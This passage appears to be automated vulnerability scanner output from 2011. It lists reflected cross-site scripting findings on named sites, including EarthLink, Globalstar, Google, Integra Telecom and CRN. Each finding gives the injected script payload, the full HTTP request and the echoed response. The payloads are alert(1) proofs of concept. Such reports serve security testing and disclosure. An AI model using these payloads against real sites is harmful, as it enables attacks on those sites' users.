<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Government</title> <meta name="description" content="Governments are increasingly challenged to prov ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/government.xea?8a4e4"><script>alert(1)</script>a9f57015d28=1"> ...[SNIP]...
2.81. http://www.earthlinkbusiness.com/solutions/healthcare.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/healthcare.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30089"><script>alert(1)</script>65a0b3e7c44 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/healthcare.xea?30089"><script>alert(1)</script>65a0b3e7c44=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Healthcare</title> <meta name="description" content="At EarthLink Business, we are committed to empo ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/healthcare.xea?30089"><script>alert(1)</script>65a0b3e7c44=1"> ...[SNIP]...
2.82. http://www.earthlinkbusiness.com/solutions/manufacturing.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/manufacturing.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4d04"><script>alert(1)</script>cada8ba5d2d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/manufacturing.xea?d4d04"><script>alert(1)</script>cada8ba5d2d=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Manufacturing</title> <meta name="description" content="EarthLink Business offers the high-bandwidth ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/manufacturing.xea?d4d04"><script>alert(1)</script>cada8ba5d2d=1"> ...[SNIP]...
2.83. http://www.earthlinkbusiness.com/solutions/retail.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/retail.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d42b"><script>alert(1)</script>152163d5079 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/retail.xea?2d42b"><script>alert(1)</script>152163d5079=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Retail</title> <meta name="description" content="EarthLink Business is an expert in the retail space ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/retail.xea?2d42b"><script>alert(1)</script>152163d5079=1"> ...[SNIP]...
2.84. http://www.earthlinkbusiness.com/solutions/smb.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/smb.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29d67"><script>alert(1)</script>0bad403f9ad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/smb.xea?29d67"><script>alert(1)</script>0bad403f9ad=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Small and Medium Businesses</title> <meta name="description" content="At EarthLink Business, we spec ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/smb.xea?29d67"><script>alert(1)</script>0bad403f9ad=1"> ...[SNIP]...
2.85. http://www.earthlinkbusiness.com/support/contactsupport.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/support/contactsupport.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0653"><script>alert(1)</script>98e921422f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/contactsupport.xea?e0653"><script>alert(1)</script>98e921422f9=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Contact Support</title> <meta name="description" content="Contact EarthLink Business Support" /> <meta name="keyw ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/support/contactsupport.xea?e0653"><script>alert(1)</script>98e921422f9=1"> ...[SNIP]...
2.86. http://www.earthlinkbusiness.com/support/portal.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/support/portal.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7002"><script>alert(1)</script>32e16e3b7d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/portal.xea?e7002"><script>alert(1)</script>32e16e3b7d6=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Customer Portal</title> <meta name="description" content="At EarthLink Business, your account management portal pu ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/support/portal.xea?e7002"><script>alert(1)</script>32e16e3b7d6=1"> ...[SNIP]...
2.87. http://www.earthlinkbusiness.com/support/support.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/support/support.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 467c6"><script>alert(1)</script>0550dff2c7f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/support.xea?467c6"><script>alert(1)</script>0550dff2c7f=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Support Overview</title> <meta name="description" content="At EarthLink Business, delivering outstanding Customer ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/support/support.xea?467c6"><script>alert(1)</script>0550dff2c7f=1"> ...[SNIP]...
2.88. http://www.globalstar.com/region_select.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.globalstar.com
Path:
/region_select.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 163e1"><script>alert(1)</script>014d19c0aad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the region_link request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b24a6'%3balert(1)//a668cb78c77 was submitted in the region_link parameter. This input was echoed as b24a6';alert(1)//a668cb78c77 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the hl request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 23ac5(a)514c777bea was submitted in the hl parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=earthlink+one+communications&hl=en23ac5(a)514c777bea&prmd=imvns HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
2.91. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.google.com
Path:
/advanced_search
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c54ff(a)89b29281c41 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?c54ff(a)89b29281c41=1 HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the prmd request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4d56d(a)f4351a416b was submitted in the prmd parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=earthlink+one+communications&hl=en&prmd=imvns4d56d(a)f4351a416b HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the q request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 23417(a)77ca4ff75a3 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?q=earthlink+one+communications23417(a)77ca4ff75a3&hl=en&prmd=imvns HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the tch request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1ce2c(a)513dde81f8 was submitted in the tch parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.95. http://www.integratelecom.com/care/manage_isp_account.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.integratelecom.com
Path:
/care/manage_isp_account.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9e50"><script>alert(1)</script>f2d67afde3c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.96. http://www.integratelecom.com/care/webmail.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.integratelecom.com
Path:
/care/webmail.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1529f"><script>alert(1)</script>51b572911e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.97. http://www.pcrecruiter.net/pcrbin/regmenu.exe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pcrecruiter.net
Path:
/pcrbin/regmenu.exe
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 7525c<img%20src%3da%20onerror%3dalert(1)>dfc03c6e030 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7525c<img src=a onerror=alert(1)>dfc03c6e030 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /pcrbin/regmenu.exe?7525c<img%20src%3da%20onerror%3dalert(1)>dfc03c6e030=1 HTTP/1.1 Host: www.pcrecruiter.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Tue, 13 Sep 2011 23:03:19 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML><HEAD><TITLE>Main Menu</TITLE><script SRC="/pcrimg/inc/helper.js?ver=20110712"></script> <link rel="stylesheet" href="/pcrimg/inc/web2.css?ver ...[SNIP]... scription" style="width:720;height:200;font-size:12"> The following error was given in module /pcrbin/regmenu.exe: System Error. Please try again later.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d026</script><script>alert(1)</script>a2e71e4c7b3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /research/s-and-p-credit-research-One_Communications_Corp_Ratings_Withdrawn_Following_Its_Acquisition_By_Earthlink-858853 HTTP/1.1 Host: www.alacrastore.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Referer: http://www.google.com/search?hl=en&q=3d026</script><script>alert(1)</script>a2e71e4c7b3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 13 Sep 2011 22:57:25 GMT Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/6.0 X-Alacra-Id: store7 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 32086
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>One Communications Corp. Ratings Withdrawn Following Its Acquisition By Ea ...[SNIP]... <script language="javascript"> var safepagetitle = "One Communications Corp. Ratings Withdrawn Following Its Acquisition By Earthlink";
var relatedterms = "3d026</script><script>alert(1)</script>a2e71e4c7b3"; </script> ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a161c"-alert(1)-"7f3ac2214cc was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/networking/228800951/one-communications-finds-a-willing-buyer-in-earthlink.htm HTTP/1.1 Host: www.crn.com Accept: */* Accept-Language: en User-Agent: a161c"-alert(1)-"7f3ac2214cc Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xh ...[SNIP]... op4="Indigo: Critical Technology For Microsoft SOAs"; s.prop5="Networking | Telecom | VOIP and Unified CommunicationsSoftware"; s.prop6=""; s.prop7="Chad BerndtsonPaula Rooney"; s.prop8="50.23.123.106|a161c"-alert(1)-"7f3ac2214cc"; s.prop9=""; s.prop17=""; s.prop19="false"; s.events="event5"; s.products=""; s.eVar21=""; s.eVar17=""; s.eVar21=""; s.eVar22=""; s.eVar23="false"; /************* DO NOT ALTER ANYTHING BELOW THIS LIN ...[SNIP]...
The value of the ruid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 24b65"-alert(1)-"359fed06956 was submitted in the ruid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ruid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1a64"-alert(1)-"1fa9ab58088 was submitted in the ruid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9af5"><script>alert(1)</script>c7e675306cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7a50"><script>alert(1)</script>57664a28c9d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/channel/BUSINESSa7a50"><script>alert(1)</script>57664a28c9d Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/channel/BUSINESSa7a50"><script>alert(1)</script>57664a28c9d">here</a> </body>
2.104. http://start.earthlink.net/channel/BUSINESS [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://start.earthlink.net
Path:
/channel/BUSINESS
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d907"><script>alert(1)</script>fc48dc93eeb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/channel/BUSINESS?8d907"><script>alert(1)</script>fc48dc93eeb=1 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/channel/BUSINESS?8d907"><script>alert(1)</script>fc48dc93eeb=1">here</a> </body>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10a18"><script>alert(1)</script>ec42e1b816 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track10a18"><script>alert(1)</script>ec42e1b816?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track10a18"><script>alert(1)</script>ec42e1b816?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 584a6"><script>alert(1)</script>7476ccce5bd was submitted in the area parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox584a6"><script>alert(1)</script>7476ccce5bd&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox584a6"><script>alert(1)</script>7476ccce5bd&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8362"><script>alert(1)</script>a5affc5d288 was submitted in the channel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearchd8362"><script>alert(1)</script>a5affc5d288&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearchd8362"><script>alert(1)</script>a5affc5d288&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the linkid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1262"><script>alert(1)</script>0138a6804e2 was submitted in the linkid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=xb1262"><script>alert(1)</script>0138a6804e2&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=xb1262"><script>alert(1)</script>0138a6804e2&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
2.109. http://start.earthlink.net/track [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://start.earthlink.net
Path:
/track
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90afd"><script>alert(1)</script>137d220e7d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0&90afd"><script>alert(1)</script>137d220e7d5=1 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0&90afd"><script>alert(1)</script>137d220e7d5=1"> ...[SNIP]...
